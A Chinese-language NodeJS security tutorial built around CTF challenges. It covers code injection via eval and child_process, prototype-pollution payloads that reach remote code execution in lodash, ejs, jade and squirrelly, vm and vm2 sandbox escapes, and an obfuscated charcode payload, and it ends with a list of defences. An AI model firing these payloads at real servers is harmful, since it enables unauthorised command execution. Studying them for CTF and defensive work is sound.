浅析NodeJS
字数 652 2025-08-26 22:11:40
NodeJS安全漏洞分析与利用指南
一、NodeJS基础特性
1. 大小写转换特性
toUpperCase()特殊转换:"ı".toUpperCase() == 'I' "ſ".toUpperCase() == 'S'toLowerCase()特殊转换:"KK".toLowerCase() == 'k'
2. 弱类型比较
- 数字与字符串比较:
1 == '1' // true 111 > '3' // true '111' > '3' // false (字符串比较第一个ASCII码) - 数组比较:
[6,2] > [5] // true (比较第一个元素) [100,2] < 'test' // true (数组永远比非数值型字符串小) - 特殊值比较:
null == undefined // true NaN == NaN // false
3. 变量拼接特性
- 数字与数组拼接:
5 + [6,6] // "56,6" "5" + ["6","6"] // "56,6"
4. ES6模板字符串
- 反引号执行函数:
var yake = "daigua"; console.log`hello${yake}world`; // 参数作为数组传入
二、代码注入漏洞(SSJI)
1. 危险函数利用
eval()函数
app.get('/',function(req,res){
res.send(eval(req.query.a)); // 直接执行用户输入
})
process模块命令执行
// 多种执行方式
require('child_process').exec('calc');
require('child_process').execFile("calc",{shell:true});
require('child_process').fork("./hacker.js");
require('child_process').spawn("calc",{shell:true});
// 无require时的替代方案
global.process.mainModule.constructor._load('child_process').exec('calc')
定时器函数
setTimeout(()=>{ console.log("恶意代码") },2000);
setInterval(()=>{ console.log("恶意代码") },2000);
Function构造函数
Function("console.log('Hacked')")();
2. 文件操作
// 文件读取
res.end(require('fs').readdirSync('.').toString())
// 文件写入
res.end(require('fs').writeFileSync('./daigua.txt','内容').toString());
// 文件删除
res.end(require('fs').rmdirSync('./daigua').toString());
三、原型链污染
1. 基本原理
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
object2 = {"c":1, "d":2};
console.log(object2.foo); // "Hello World"
2. 常见污染点
- merge/clone/copy操作:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key] // 污染点
}
}
}
3. 模块特定污染
lodash模块
{
"__proto__": {
"sourceURL": "\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')\n//"
}
}
ejs模板引擎
// 污染outputFunctionName
{
"__proto__": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"
}
}
// 污染escapeFunction
{
"__proto__": {
"__proto__": {
"client":true,
"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');"
}
}
}
jade模板引擎
{
"__proto__": {
"__proto__": {
"type":"Code",
"compileDebug":true,
"self":true,
"line":"0,return global.process.mainModule.constructor._load('child_process').execSync('dir')"
}
}
}
squirrelly模板引擎
/?defaultFilter=e'));
let require = global.require || global.process.mainModule.constructor._load;
require('child_process').exec('dir'); //
四、VM沙箱逃逸
1. 基本逃逸方法
const vm = require("vm");
const env = vm.runInNewContext("this.constructor.constructor('return this.process.env')()");
console.log(env);
2. 完整RCE示例
const vm = require("vm");
const xyz = vm.runInNewContext(`
const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('dir').toString()
`);
console.log(xyz);
3. vm2沙箱逃逸
(function (){
TypeError[`${`${`prototyp`}e`}`][`get_proces`+`s`] = f=>f[`${`${`constructo`}r`}`](`return this.proces`+`s`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`]()[`mainModule`][`${`${`requir`}e`}`](`child_proces`+`s`)[`exe`+`cSync`](`whoami`).toString();
}
})()
五、实战利用案例
1. 大小写特性绕过
// 题目代码
name!=='CTFSHOW' && item.username === name.toUpperCase()
// 利用方法
使用"ctfſhow"作为用户名,转换为"CTFSHOW"
2. 变量拼接绕过MD5验证
// 题目代码
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag))
// 利用方法
/?a[x]=1&b[x]=2 // 对象与字符串拼接会忽略对象内容
3. 同名参数绕过逗号过滤
// 题目代码
if(req.url.match(/8c|2c|\,/ig)){ res.end('where is flag :)'); }
// 利用方法
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
4. 原型链污染实例
// 污染Object原型使条件成立
{
"__proto__": {
"ctfshow": "36dboy"
}
}
5. 沙箱逃逸综合利用
(Math=>
(Math=Math.constructor,
Math.constructor(
Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
))(Math+1)
六、防御措施
- 避免使用eval、Function等动态执行函数
- 使用JSON.parse替代eval解析JSON
- 对用户输入进行严格验证和过滤
- 使用Object.freeze冻结关键对象
- 保持NodeJS和依赖库的最新版本
- 对merge/clone/copy操作进行原型污染检查
- 使用安全的模板引擎配置